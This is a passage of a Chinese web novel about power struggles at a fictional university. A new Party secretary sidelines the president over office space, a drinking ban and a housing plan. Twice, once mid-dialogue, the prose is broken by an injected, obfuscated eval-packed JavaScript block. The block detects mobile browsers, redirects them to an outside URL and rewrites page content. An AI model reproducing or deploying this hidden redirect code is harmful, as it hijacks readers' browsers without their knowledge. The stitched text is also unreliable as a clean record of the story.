吴若甫缓缓放下茶壶,目光如深潭般将周濂失控的怒火悄然吸纳:"也没那么严重。楚大的天,塌不下来的。"他指尖轻叩桌面,仿佛在敲打一盘看不见的棋局:"你是校长,法人代表嘛。手中拿着□□特殊津贴的博导,他也不能奈你何的嘛。关键是你怎么做呢。" 看见周濂紧绷的肩膀稍稍放松,老校长的语气有些深沉起来:"我担心呀,新官上任三把火。你倒是要做些预备,比如基建、招生、科研这些敏感部位,得加点小心的。" 周濂猛地抬头,方才的愤懑已然化作眼底闪烁的惊警。在他 的心中,红灯最先亮起的是自己用心经营最多的科研工作。 周濂当然不能此地无银主动去和新书记戈大垣激活这个问题。按照吴若甫的建议,周濂决定在戈大垣立足未稳之时,先拿分房方案来试探试探。 周濂没想到,第一次交锋就碰了个硬钉子。当他在冯伟陪同下走进戈大垣办公室时,新书记并没有起身,叫了声“周校长”后淡然指了指对面的沙发请他坐下。 冯伟本就生性谨慎,此刻在新书记戈大垣面前,更是连呼吸都屏住了三分。他端着茶壶的手微微发颤,险些将热水洒出杯外。戈大垣的目光落在他抖动的手指上,随即缓缓抬眼,扫视了一圈房间,似乎有些漫不经心地问道“这间办公室……”,声音不高,却像一块冰砸在地面上:“是朝北的吧?” 冯伟只觉得一股寒意从脊椎窜上头顶。他僵在原地,热水溢落在他擦得锃亮的皮鞋上溅开细小水花。当初为了讨好即将转正的周校长,他特意将朝南的前任书记办公室调配给了周濂,哪想到如今会迎来一位新书记。 周濂看出了冯伟的窘迫和恐惧,摆摆手替他解围:“小冯你先忙去吧。我和戈书记商量点事。” 冯伟几乎是屏着呼吸退出了书记办公室,后背的衬衫早已被冷汗浸透。周濂整了整衣襟,脸上堆起从容的笑意,将装帧精美的分房方案呈到戈大垣面前。他语调舒缓却暗藏机锋,从教工诉求谈到稳定大局,最后特意在"半年时间"四字上咬了重音,每一个音节都透着不容置疑的掌控感。 戈大垣粗壮的手指漫不经心地翻动着文件,纸页哗啦作响,像被秋风卷起的枯叶。他的眉头渐渐锁成一道深刻的沟壑,突然"啪"一声合上文件夹,声响震得空气都在颤动:"我这才来几天嘛。",说罢抬起眼帘,目露精光射向周濂:"这么重要的方案,先消化消化再说。" 周濂嘴角的笑意瞬间凝固。他感到一丝寒意顺着脊椎爬升,回到自己的办公室,他下意识地在铺着柔软地毯的房间里踱步,阳光透过南窗洒满一室辉煌,他却突然觉得,这间朝南的办公室,怕是住不长了。 踱了几圈后,周濂忽然发现门外有个人影晃动。他走过去正要发作,却发现那人是办公室主任冯伟。 “你站在门口干什么?”周濂的声音冷得像走廊里的穿堂风。 冯伟像个做错事的学生:“戈书记的气场太强了,”他下意识搓着手指:“在他面前,感觉呼吸都对不上节奏。” 周濂的眼神骤然锐利起来:“这叫什么话?他还能吃人不成?” 冯伟赶紧给校长桌子上的紫砂壶续水,滚烫的水线在杯底激起细小的漩涡。他本来是来试探周濂对办公室的看法,话到嘴边又咽了回去。闲聊几句后,便从周濂办公室退了出来。在走廊拐角处,正看见戈大垣带着副主任桂先锋外出调研的背影。 这已经是戈大垣来校第三天来第二次刻意“遗忘”了办公室主任。冯伟摸着自己发烫的耳垂,觉得像一块块烧红的烙铁。昨天,在和自己那位经营家族企业的老总父亲通话时那句透着寒气的警告在此在耳畔回响:在领导身边,不是踩着青云直上,就是摔得粉身碎骨,关键看你怎么做。 秋雨敲窗,淅淅沥沥,将冯伟的心事也淋得湿漉漉的。还不到下班时分,他便悄然来到历史学院中国古代史教研室来寻自己的小校友顾明远倾吐苦闷。 正在伏案校对文稿的顾明远见来者是冯伟,便含笑起身相迎。 两人虽相差十余岁,却是楚大仅有的两位清北毕业生,又皆好诗词翰墨,自然多了几分惺惺相惜。冯伟平常在人前惜字如金,在这位学弟面前却总能打开话匣子。他执起桌子一角的《陶庵梦忆》,指尖轻抚书脊后叹道:"明远,此刻我便如张宗子梦忆中之惶惑,仿佛独立寒冰之上,耳中尽是冰裂之声,四顾茫然,不知何处可避。" 顾明远推了推金丝眼镜,镜片后的目光带着些调笑:"老兄不止如此吧。高校终究还是单纯清净的地方,哪有什么冰裂之声压?依我看,平时怎么做还是怎么做得了。" “你是不知道行政的深浅呀,”冯伟顿了顿,眼睛忽然直盯着顾明远:“明远你经常受吴校长的濡染。眼下如果让你来协调两位主要领导办公室的事情,换成你会怎么做?”窗外秋雨淅沥,衬得冯伟愈发焦躁。他揉着太阳穴说道:“我担心这事儿再拖下去,怕是两头不讨好。你不知道,现在桂先锋那小子缠书记缠得那叫一个紧。” 看见自己敬重的学长如此焦虑,顾明远不免动了恻隐之心。他镜片后的眼睛微微眯起,食指在空中画了个圈后忽然僵住,叹了口气,将快到嘴边的话又憋了回去。 “你这是干啥嘛,婆婆妈妈的。有什么点子就说出来好吧?”在冯伟一个劲的催促下,顾明远半吞半吐地说出了自己的想法:“眼下吧,发力点恐怕就在两位领导的办公室。” “你是说让两人将办公室重新调个?” 顾明远点了点头。 “这叫我怎么对周校长开口呢?” “你刚才不是口口声声提到吴校长吗?周校长听他的呀。” 冯伟恍然大悟,抚掌笑了起来:“妙哉!此所谓''曲径通幽处,禅房花木深''。要不说周校长说老弟你肚子里有货呢。明远,可以呀,你这是举贤不避亲哦。”他忍住没有将“借刀杀人”这个词说出来,拿起茶盏一饮而尽,眉间阴霾渐散,仿佛已在秋雨中窥见了一线天光。 冯伟特意去螃蟹岬的文玩市场上淘了几幅法帖送给热衷习字的吴若甫。老校长一边那桌放大镜鉴赏,一边听着冯伟说话,眉毛不是挑了挑,说明他至少有一半心思在听冯伟说话。 冯伟话音刚落,吴若甫执起一柄紫檀木镇纸在掌心轻轻敲打着节奏,忽然轻笑一声:" ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904241|192344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冯主任如今是越发厉害了。你这是要将我这把两个头当作过河卒子嘛。” 冯伟惊得赶紧起身给吴若甫添茶:"老校长您说笑了,借我一个胆我也不敢呀。我这不是确实一点招也没有了嘛。当年,我不过是一只断线的纸鸢,全赖您的手中线才乘风而起的呀。"他特意用了吴若甫早年讲授《红楼梦》时爱引的比喻。 吴若甫满意地摩挲着手中的茶盏。他深知校办乃是权力经络交汇之处,办公室主任看似侍奉笔墨,实则是揣摩风向的罗盘。如今新书记来势不凡,若能借此事帮他一把,不仅有助于他坐稳主任大位,又能让周濂和新书记和平共处。 吴若甫当然不会在先准备面前轻易袒露自己的心迹,他抬起头来悠然扫了一眼窗外的竹影淡淡说道道:“这事让我考虑考虑吧。” 冯伟知趣起身告退。出门时正碰见顾明远一家前来蹭饭,冯伟在腋下悄然给顾明远比了个“OK”的手势。 吴若甫并不知道冯伟已经和女婿顾明远有过交流。冯伟走后,他想采用“以案说法”的方式,当面点拨点拨顾明远。 爷俩的话题照例在象棋盘上展开:“出个题目考考你?” 顾明远默不作声地看了岳父一眼。 “如果让你劝说周校长主动腾出现在的办公室给戈书记,你会怎么做?” “我哪有这样的资格呀?”顾明远拱了一个卒子后,故作轻描淡写地说道。 “本来就是假设嘛。你就大胆地说吧。”吴若甫对顾明远在自己面前说话总是半吞半吐有些不满。 “这要看周校长的格局了。他当初搬进这间办公室本来就有些草率,毕竟上面还没有正式任命他做书记。现在新书记来了,肯定会有人拿这个在戈书记面前搬弄是非。与其等新书记较起真来恢复原状,还不如主动退出来,显出格局。听说这位戈书记是个很有性格的人,万一两人斗起来,只怕周校长……”,说到这里,顾明远故意戛然而止,假装低头观察棋盘上的走势。 吴若甫没料到平时专注于学问的女婿能说出这样一番有见地的话来,便继续问道:“有什么办法能让周校长心甘情愿退出来呢?” “这就要看周校长自己了。戈书记新来,锐气正盛。此时与他硬碰硬,争一室之得失,不仅在道义上落了下乘,更会因小失大,过早暴露弱点,成为新书记的的第一个靶子。”顾明远似乎觉得自己有些张扬,舔了舔嘴唇又低头想棋。 “有什么想法一吐为快嘛。”吴若甫更有几分不高兴。 “其实吧,换做我这个做老师的观点,一间办公室算什么?南向、北向,不过是表象。真正的‘向阳’之处,在于人心和大势。你主动让出,在全校上下看来,你这是顾全大局、尊重一把手,展现的是校长的气度和格局。” 本来想点拨点拨女婿的吴若甫显然被他反将了一军,接下来的时间里再也无心下棋。在顾明远一家离开后,他做的第一件事就是给周濂打趣电话,几乎将顾明远的观点完整背诵了一遍。 周濂在电话那头沉吟了半晌,最后竟出人意料地答应了老校长,主动提出和戈大垣调换了办公室。满以为自己的示好能换来戈大垣对分房方案的积极回应,结果周濂有些失算了。 戈大垣是有名的“烟枪”,烟灰缸里顿时堆起一座小坟包。烟雾在两人之间织成一张模糊的网。戈大垣的烟头忽明忽暗,在沉默中烧出令人心焦的进度条。 “老周啊——”戈大垣这个改口显得突兀而无礼突然开口:“我这才来二十几天,可没少收到关于分房的信件哇。你是学校的老人,这分房就像端着一锅热油,走快了洒一身,走慢了烫一手。” 周濂揣度戈大垣迟迟不松口的原因也许和他不能确定自己这个新人能否分到住房有关,便强压着火气给出了明确的答案。 “哈哈哈”,戈大垣爽朗的笑声震得窗玻璃嗡嗡作响:“我老婆单位的房子比160平要大得多,而且还是复式,你们完全不用考虑我。”最后,他依然用那句“事关重大再研究研究”送走了周濂。 送走校长周濂后,戈大垣重新拿出放在抽屉里的几十封信件。按被投诉对象,戈大垣对他们做了颜色分类——这也是他当公安局长时的习惯做法。比如,校长周濂的用红色标签,贾振、南令陶那些老资格处长用黄色标签,冯伟、顾明远这些年轻后辈用绿色标签。此刻,戈大垣那张棱角分明的国字脸像块生铁铸就的盾牌,每一道纹路都刻着不容置疑的威严。他起身站在办公室的落地窗前,暮色中的楚江大学尽收眼底。公安系统二十年的淬炼,早就让他练就了一双锐眼——这些举报信里几分真几分假,他心里其实已经有了底。他现在要做的,是通过明察暗访进行逐一排查。戈大垣从桌子上摸出打火机,“啪”地点燃一支烟,火光在黑暗中明灭不定。他想起老领导送他上任时说的话:大学不是公安局,要讲究方式方法。戈大垣对老领导的话并不完全赞同:对于大学这种秀才成堆的地方,有时还是得下点猛药,让自己尽快站稳脚跟、树立威信。 41. 新官上任 楚江大学的梧桐叶正黄,秋意已深。对于新上任的党委书记戈大垣而言,这片学术殿堂的空气里,却弥漫着一种不同于往日公安系统的硝烟味。这硝烟,无形却真切地存在于每一次会议的交锋、每一个眼神的揣度、每一份文件字里行间的机锋之中。戈大垣,这位在公安战线历练了十几年的“老一把手”,深知初来乍到,若不迅速点燃几把有分量的“火”,极有可能被这看似温和尔雅、实则盘根错节的校园生态所吞没。 经过一个多月的观察,他的第一把火正在悄无声息地烧向了身边最要害的位置——学校办公室主任冯伟。 做了十几年的“一把手”的老江湖,戈大垣骨子里信奉一条铁律:办公室主任,绝不仅仅是处理琐碎事务的大管家,更是一把手在权力场上的“影子”。这个位置,不需要极致的人情练达、八面玲珑,最要紧的,是如烙铁般滚烫、不容置疑的忠诚——可以偶尔不够圆滑,但绝不能不够可靠;可以犯一些无伤大雅的小糊涂,但绝不能有丝毫的二心。冯伟的文字功夫,在戈大垣看来,只是锦上添花的点缀,绝非雪中送炭的根本。他要的,是绝对的可靠,是绝对的忠诚,是那种能将自身前途毫无保留系于自己一身的“自己人”。 而这恰恰是冯伟的短板。最近接连收到的几封匿名投诉信,明确指出冯伟是吴若甫提拔的周濂的嫡系,这句话像一根细刺扎进了戈大垣的心里。卧榻之旁岂容他人鼾睡。戈大垣开始有意识要考察考察这个长相斯文的办公室主任。 这天,冯伟照例呈送文件待批。戈大垣接过文件,慢条斯理地拧开钢笔帽,忽然停了下来,像是随口闲聊般问道:“小冯对学校分房方案怎么看?我听说,有12套160平方的大房子?” 这个问题有点出乎冯伟意料,回答起来显得迟滞而紧张:“校领导们……工作繁重,贡献巨大,自然……自然该优先考虑的吧。”这话说得四平八稳,却透着一股小心翼翼的迎合。 戈大垣话锋陡然一转:“现任班子成员只有七个人呢,剩下的,该怎么安排才合适呢?” 这个问题更显犀利,被逼无奈,冯伟犹豫着说道:“象吴校长这些退休老领导德高望重,功勋卓著,理应——”,话说到一半,他猛然瞥见戈大垣嘴角浮起一丝极淡的冷笑,赶紧将后半句咽了回去。 戈大垣却像是没看见他的窘迫,嘴角那抹笑意反而加深了些,带着玩味的语气:“哦?吴校长?我记得他退休已经五年有余了吧?” 冯伟不知道戈大垣的的设问到底是什么意图,再也不敢轻易说话。他的吞吞吐吐欲言又止和戈大垣喜欢快言快语的说话风格有了明显的温差。他不再追问,拿起笔“唰唰”地在文件上龙飞凤舞起来,将文件夹合上递给冯伟只淡淡说了句“你去忙吧。” 冯伟如蒙大赦,几乎是倒退着挪出戈大垣的办公室。因为走的急,出门时后腰不慎撞在门把手上,发出一声闷响,他也顾不得疼痛,仓皇离去。回到自己的办公室,他呆坐了好半晌,心脏仍在怦怦直跳,感觉自己那点隐藏的心思仿佛已被戈大垣那双锐利的眼睛掏了个干干净净。 冯伟前脚刚刚离开,办公室副主任桂先锋后脚就走进了戈大垣的办公室。最近的几次接触,戈大垣对这个敢于表达、善于领会的年轻人印象还算深刻。戈大垣心中微微一动,决定用同一个问题试探试探桂先锋。 “大家都在关注分房方案,你怎么看?”戈大垣单刀直入,直奔主题。 桂先锋对此显然早有准备。过去一个多月,他在新书记沈上做了打量功课,托关系了解戈大垣的公安工作背景和风格,近距离捕捉戈大垣来校一个多月来的点滴言行中的敏感信息,从副校长江川那里获取到戈大垣与校长周濂在分房原则上的分歧……。 桂先锋脸上露出恰到好处的迟疑,用词斟酌,表达迅速:“戈书记,虽然方案的原稿我还没看到,但据我调研的情况,大家对目前方案中的以行政职务作为基准来赋分的做法是有不同的看法……。”说到这里,故意停顿下来,观察着戈大垣的反应。 戈大垣挑了挑浓重的眉毛,带着考较的意味反问:“哦?你不也是行政人员吗?按这个方案,你们应该受益才对。” 桂先锋挺了挺腰板,语气显得诚恳而带着几分“仗义执言”的勇气:“正因为我是行政人员,更应该站在学校的全局去考虑问题才对大学嘛,终究还是要以教学为根基、以教师为根本。如果我们制定政策的人首先考虑的都是自己的利益,那还怎么调动教师的积极性?”他顿了顿,故作小心地补充道:“尤其是那十二套大房子,听说要优先保证校领导,下面的议论声可不小。” 戈大垣故意朗声地开起了玩笑:“看来我这个书记不该参加这次分配喽?” 桂先锋已经从江川那里得知了戈大垣明确拒绝参与分房的想法,敛眉沉思的片刻后,说起话来每个字都清晰可辨:“戈书记,我实话实说,您别见怪。按道理讲,您是学校名副其实的‘一把手’,无论怎么分配,大家都不会有异议。但是……”,他深吸一口气:“我这里冒昧建议,您如果不参加这次分配,不仅会深得人心,更可以重构新的方案确保更加公平。” 桂先锋的胆识让戈大垣眼前一亮。他手中的钢笔“咔嗒”一声轻轻扣在桌面上,沉吟片刻后说道:“嗯,你这个想法有点意思。这样吧,你最近抽空,准备一份关于分房的讲话稿提纲给我看看,就围绕公平公正、向教学一线倾斜这个原则来写。” 桂先锋心中暗喜,知道自己的策略初步赢得了戈大垣的认可。临走前,他语气轻松地问道:“戈书记,听说您在公安系统的时候,羽毛球打得特别好,还在大赛中拿过冠军?” 提到自己钟爱的羽毛球,戈大垣脸上的线条明显柔和了许多。来到楚江大学一个多月,忙于熟悉情况、理顺关系,他几乎要将这项功课遗忘了。现在桂先锋提及此事,戈大垣的手有些痒了起来,起身从外间的储物柜里抽出一支羽毛球拍在手里挥了两下笑道:“哈哈,说起来已经有几个月没摸拍子了。怎么,你也会打?” 桂先锋的羽毛球是童子功,此刻却含糊地说:“会一点点,皮毛而已。和戈书记比起来,肯定差得远。要是书记有兴趣,我提前去预定场地?” 戈大垣爽快地一挥手:“这个是健康的爱好。好,那就定明天,下班后活动活动。” 看着桂先锋离开的背影,戈大垣嘴角噙着一丝玩味的笑意。这个桂先锋,懂得审时度势,又会察言观色,还能投其所好,更重要的是,似乎总能摸到自己的内心的想法,可以再重点考察考察。 履新楚江大学后,戈大垣便敏锐地察觉到中层干部中有一种与公安系统纪律严明截然不同的风气——酒风盛行。中午教工食堂中,经常有中层干部三五成群围在一起喝酒取闹,与旁边安静就餐的教师们形成刺目的。酒风盛行的直接后果在下午的各类会议中暴露无遗,戈大垣时常能嗅到从某些方位飘来的、若有若无的酒气。更有人面色潮红未退,眼神迷离,脑袋一点一点,以致发出轻微的鼾声。这样的景象,像一根根尖刺扎在戈大垣的神经上,让他反感而愤怒。在他那双惯于审视犯罪现场的眼睛看来,这不仅是纪律涣散的问题,更有拉帮结伙的隐患,也是对自己这个新书记权威的无视和轻蔑。 在从何江川闲聊中得知科技处处长贾振、图书馆馆长南令陶等人经常和校长周濂聚餐喝酒的信息后,更加坚定了戈大垣将以前公安系统推行的“禁酒令”在楚江大学复制的决心。 拿定主意后,戈大垣决定在班子会议上测试测试大家的态度。 当戈大垣表情严峻地宣讲完自己亲自草拟的五条禁酒措施后,正在低头喝茶的校长周濂手腕微微抖动了一下。周濂几乎很少抽烟,但酒瘾很大,有时喝到痛快时,甚至当着众人高诵起李白的“会须一饮三百杯”的句子。他缓缓放下茶杯,环视了众人低头不语的表情,心里对戈大垣这种断然的措施既好笑又反感。他对班子成员还是了解的,除了汤中臣外,谁都是半斤八两以上的水平。你戈大垣现在出台禁酒令,这不摆明了是和大家过不去嘛。想到这里周濂脸上带着温和笑容谨慎地说道:“中午禁酒?这个恐怕要慎重考虑才好。咱们大学不是封闭的象牙塔,需要和市里各部门、企业以及兄弟院校频繁打交道,很多重要的事情、关键的人情,说实话,都是在酒桌上……谈成的。”他故意顿了顿,强调“谈成的”三个字,暗示其不可或缺性。 戈大垣似乎并不着急,刚才板结的脸色漾开了不少:“好嘛。周校长开了头,大家畅所欲言发表自己的意见。” 大出周濂意料的是,号称“江一斤”的副校长江川第一个发言,表示完全赞同戈书记的意见。会议室里粘稠的空气一下子被稀释开来,原本目光在戈大垣和周濂之间小心翼翼地游移的其他人像等到了风向的候鸟一般,纷纷扑棱起了翅膀,就连从不轻易表态的“弥勒佛”张茅也站在了戈大垣一边,那位每天酒局不断的孟超竟然一脸严肃义正词严地表起态来:“喝酒见作风,作风无小事。中午喝了酒,下午还怎么上班?酒气熏天,精神萎靡,实在不成体统。”由于说得太过用力,他的嘴角泛起了一小团白色的沫子。 周濂脸色渐沉,拿起碟子里的冒进擦拭着额头,显得有些狼狈。 以致端坐不动的戈大垣目光转向了后排负责会议记录的冯伟身上:“冯主任,学校办公室是负责接待工作的主要部门,你对这个禁酒令怎么看呀?” 冯伟猝不及防,脸上涨得通红,说话显得有些结巴地说:“这个……这个……办公室按要求坚决执行。”回答得毫无个性,也看不出任何真正的倾向。 散会后,戈大垣迅速给办公室正副主任冯伟、桂先锋安排了一项特殊任务:两人各带一组人马开始明察暗访禁酒令的执行情况。 这道命令,无疑将冯伟推到了一个极其尴尬的位置:校长嗜酒,书记禁酒,两边都不好得罪,也不能得罪。这天,有“线人”报告,科技处处长贾振准备中午在学校附近的“帝都酒家”接待一家合作企业。冯伟陷入了两难,犹豫片刻偷偷打电话给周濂请示,周濂给了他一个“灵活处理”的模糊指示。联想到贾振是周校长的嫡系,冯伟干脆采取了睁一只眼闭一只眼的做法,甚至还用手机给贾振发了一条提醒短信。” 偏偏贾振开会将手机忘在了办公室,错过了冯伟这至关重要的提醒。这让也已得到信息的桂先锋寻到了一个绝佳的机会,带上人马,直奔“帝都酒家”。当他和督查人员推开包厢门时,贾振正满面红光,挨个给客人敬酒。 “咔嚓”、“咔嚓”!随行组员手中的相机闪光灯连连闪烁,将贾振等人举杯的手势和惊愕的表情瞬间定格。军人出身的张贾振先是愕然,随即大怒,正要问罪,桂先锋却根本不给他发作的机会,带着队伍扬长而去,留下一屋子尴尬和愤怒。 事情发生后,戈大垣有意将周濂请到自己办公室商量处理意见。已经从贾振那里得到了消息的周濂心中又气又恼,觉得桂先锋小题大做十分可恶。如果严格按照刚颁布的禁酒令规定,贾振这属于“顶风作案”,够得上“立即免职”的处分档次。既是想保护自己的嫡系,也想和戈大垣掰掰手腕,周濂尽量让语气显得平和,但话里藏针:“戈书记,贾处长这次确实违规了。不过,他是和企业商谈科技创新合作的事宜,出发点是为了学校的发展。如果因为工作接待而受到过于严厉的处理,恐怕会寒了那些向干事创业干部的心哩……”。 话未说完,戈大垣便抬手打断了他,语气平淡却带着不容置疑的力量:“周校长,规定就是规定。因为饮酒误事而受处分,总比因为工作失职受处分要‘准确’得多吧?至少,这酒是实实在在喝进去了嘛。” 周濂不想轻易放弃,继续为张贾振辩解:“话虽如此,他喝酒的动机还是为了工作嘛。老贾这个人我是了解的,这些年主持科技处工作,为学校的科研发展是立下汗马功劳的。如果因为一次喝酒就免职,不仅对他个人不公,对学校也是损失。退一步讲,免了他,今后和省科技厅的对接工作谁去顶?厅里的王副厅长就认他张贾振,换个人去,很多项目恐怕就黄了。” 戈大垣其实并没有像撸掉贾振的职务,但他必须借这个机会杀鸡儆猴,尤其要让周濂清楚:他戈大垣才是楚江大学的一把手。他不想过早表明自己的态度,而是要借机继续敲打一下这个以“博士生导师”自居的文人校长。戈大垣不慌不忙地从随身携带的公文包里又抽出一个薄薄的文件夹,轻轻放在周濂面前:“巧了,周校长,我这儿正好也收到几封关于科技处经费使用方面的群众反映。”他随手翻开其中一封信,像是自言自语般地念道,“比如去年‘科技大楼’配套设备款里,有一笔二十万的支出,买的好像是些高档酒水?这恐怕……还只是冰山一角呢。”他抬起眼,目光锐利地看向周濂:“周校长你长期统管教学科研,对这些情况,应该有所了解吧?” 周濂被戳中了痛处。戈大垣那句轻飘飘的“冰山一角”,像重锤一样敲在他的心上,话语间的气势瞬间衰减了不少:“这个……如果确实有问题,那……依规办事,也好。”他松了松颈下的领带,声音带着些许沙哑:“要不查实后从严处理?” 窗外的阳光斜斜地洒进来,在戈大垣棱角分明的脸上投下半明半暗的光影。达到目的的他,眼角的细纹舒展开来,瞳孔里跳动着一种锐利而深沉的光芒——那是一种经验丰富的猎手,看着猎物终于落入陷阱时的沉着与掌控。他熟练地收好那些信件,笑声变得轻快而爽朗,带着一种“胜利者”的宽容:“既然周校长这样器重张贾振,也考虑到科技处工作的连续性,我看这样吧,免职暂且不提,但撞到枪口上,不处理也难以服众。扣发他两个月奖金以儆效尤,总还是应该的吧?” 这个看似让步的决定,在周濂听来却异常苦涩。这哪里是给面子,分明是软鞭子抽在脸上,既落实了处分为自己立了威,又借露出的冰山一角警告了自己这个校长。 不等周濂再说什么,戈大垣突然又抛出了一颗“震撼弹”,提出免去冯伟办公室主任职务的意见。看见戈大垣脸上决绝的表情,已经心生懔意的周濂只好茫然地点头。短短的两个月时间,周濂已经开始领略到了戈大垣说一不二的铁腕作风。与前任书记许继武优柔寡断的“文火慢炖”相比,戈大垣的风格是毫不拖泥带水的“武火快炒”。许继武的忍让给了周濂充分的主导权,使其游刃有余;而戈大垣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904242|192344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说一不二的铁腕,则让周濂在短短两个月内就强烈地感受到了权力的收紧与窒息,仿佛从自在的合作伙伴变成了必须紧跟步伐的下属,见识了一种基于决断力与掌控欲的全新权威。 周濂不免有些怀念起许继武来。 冯伟的免职和贾振的受惩让副校长孟超真正领教了戈大垣的铁腕。如果说他的前任许继武是把包着丝绒的软刀,那么戈大垣则是淬了火的钨钢刀,手起刀落,杀伐果决,连走在走廊里那铿锵有力的皮鞋声,都带着秋风扫落叶般的迅疾和冷冽。 孟超是聪明人,深知“识时务者为俊杰”的道理。他明白,如果自己再不及时调整方向,向新书记靠拢,不仅会被迅速得势的江川拉开距离,更可能一不小心就被戈大垣当做对立面,扫下台去。 他已经了解戈大垣和周濂在分房方案上的分歧主要集中在是以职称还是职务作为主要计分基准这个焦点上。原本,孟超是“以职务计分”的始作俑者,现在既然风向变了,那就必须调整思路适应戈大垣。为此,孟超带着一份完全契合戈大垣想法的心的分房方案,前来向戈大垣汇报示好。 因为对孟超之前的一些做法仍存有嫌隙,戈大垣对他的到来并未表现出过多的热情,只是说可以将这个方案提交班子会上进行讨论。 会议开始时,戈大垣出人意料一改往日不苟言笑的风格,慢悠悠地给在场几位抽烟的校领导散了一圈烟。在蓝白色的烟雾缭绕中,他语气淡定地率先抛出一枚“重磅炸弹”:“在讨论具体方案之前,我先表个态。这次分房,我本人放弃分配资格。”说罢,转头看向新任办公室主任桂先锋:“桂主任将我的这个意见记录在案。” 戈大垣的这一招出乎所有人的意料。戈大垣不动声色地观察着众人的反应,然后向孟超扬了扬手:“好了,开始吧,孟校长给大家解读一下你们拟定的新方案。” 孟超小心翼翼地开始解释方案内容。表面上看,指导思想中强调了“教师中心”的想法,但行政职务的赋分并没有明显的下调。 戈大垣脸上带着似笑非笑的表情,目光缓缓扫过在场每一个人:“大家都议一议吧,敞开来说。”又转头看了一眼正在后排记录的桂先锋:“先锋记详细点。”——这话表面是吩咐记录者,实则是敲打在场所有人:今日一言一行,皆会记录在案,雁过留声,人过留名。 已经提前和戈大垣通过气的副校长江川率先掐灭烟头,发难开口:“如果我没记错,这很可能是我校最后一次福利分房了,影响甚大。”他环视四周,语带深意:“如果方案还是将职务分抬得这么高,那些长期在教学科研一线的老教师们会怎么想?如果闹将起来,这个责任谁来负?” 周濂皱了皱眉头反驳:“江校长这话有失偏颇了吧?这次的方案,职称权重和以往几次分房相比,是有了明显提高嘛。” 四代同堂住房紧张且没有高级职称的副书记赵文启附和道:“是啊,我记得七年前那次分房大致也是这个思路,当时执行得也挺顺利呀。” 戈大垣适时插话:“老赵啊,七年前?那还是上个世纪的事情了吧?现在都新世纪了,社会在发展,学校的情况也在变化。那时候的规矩,还能完全套用在现在吗?” 话像一滴冰水落进热油锅。本就拥有正高级职称的张茅、汤中臣等校领导立刻顺势表态,强调分配政策应该向教学科研骨干倾斜。 周濂一下子显得有些孤立。江川似乎意犹未尽,声音提高了几度:“这样,为了让方案有修改空间,我向戈书记学习,正式表态,主动放弃这次分房资格。这样我刚才的发言,至少可以说明不是为了个人利益。我是分管师资队伍的领导,这里我还是想替广大教师发个声,将教师科研人员的分值提高一些。”说到这里,他故意眼含笑容看了孟超一眼:“孟校长分管科研工作,应该赞同我的观点吧?” 本来想两边都不得罪的孟超被江川将了一军,内心恼羞成怒,表面上也不敢提出反对意见。 会场上的激烈讨论在戈大垣心中并没有掀起波澜。他的心中其实早有定见,所有的争论不过是最终拍板前的过场和铺垫。看看时间差不多了,他轻轻咳嗽一声,目光威严地扫视全场,一言九鼎地说出了自己的决定性意见:第一,分值对应关系要调整。教授对应副厅级分值,副教授对应正处级分值,在此基础上,有职称这通加“0.5”分; 第二,可以考虑给双职工加分,以两分以内为宜。第三,可以考虑对博士、破格等人才加分,以两分以内为宜……”。 这一系列调整,几乎颠覆了周濂最初设想的分配方案。正坐在办公室里错愕和失落,戈大垣出人意料主动来到办公室,语气变得十分“体谅”:“周校长,你不一样。你既是正厅级干部,又是博士生导师,还是□□特殊津贴获得者,按照这个新规则,你的赋分综合起来,理所当然应该排在首位。” 有些懵圈的周濂不知戈大垣意欲何为,抬头看着他,半晌没有说话。戈大垣自顾着在沙发上坐下:“周校长,你是学校的老人,情况熟悉,威信也高。这分房方案的后续具体修改和落实工作,还得你亲自挂帅呢。” 周濂机械地点了点头。此刻,他的内心充满了复杂的情绪,既有为自己能够分到最好房子的高兴,又为戈大垣强势颠覆自己的方案感到悲哀。他意识到,在这场博弈中,自己已经彻底输了。 回到办公室时,江川正在门口后着他。戈大垣拉开抽屉,从一个精致的盒子里抽出两支雪茄来:“听说你有时也抽雪茄?来,试试这个。” 在江川看来,这无异于是对自己的奖赏。江川双手接烟的姿势似乎比当年捧起博士学位证书时还要虔诚恭敬。摩挲着油亮顺滑的茄衣,故作惊讶地赞叹:“这……这应该是高希霸世纪六号吧?真是好东西。”——事实上,江川对雪茄一窍不通,只是从桂先锋那里得知戈大垣的喜好后临时恶补的知识。认真欣赏半天后,江川将雪茄恭敬地递还给戈大垣,谦逊地说:“书记,这宝贝得放在恒温柜里慢慢养着,慢慢品才有味。我抽这个,纯属牛嚼牡丹,暴殄天物了。”说罢,有意从自己口袋里掏出一包十块钱的“黄鹤楼”香烟点上。 徐徐吐出嘴中的烟雾后,江川试探着说道:“戈书记,今天会上我说话可能太直了些,有什么不妥的地方,请您批评指正。” “讲得很好嘛,大局观强,切中要害。” 江川心里高兴,正要接话,桌子上的电话铃声响了起来。江川有些不情愿地站起身来。戈大垣看了一眼来电显示,直接摁断了电话,随口问道:“江校长还有别的事?” 江川犹豫了片刻,脸上堆起笑容说道:“听说您的羽毛球打得特别好,是专业水准。正好我有个亲戚家的孩子,刚从省羽毛球队退役,球技很不错……,要是书记有兴趣,可以让他来陪陪您一起活动活动?” 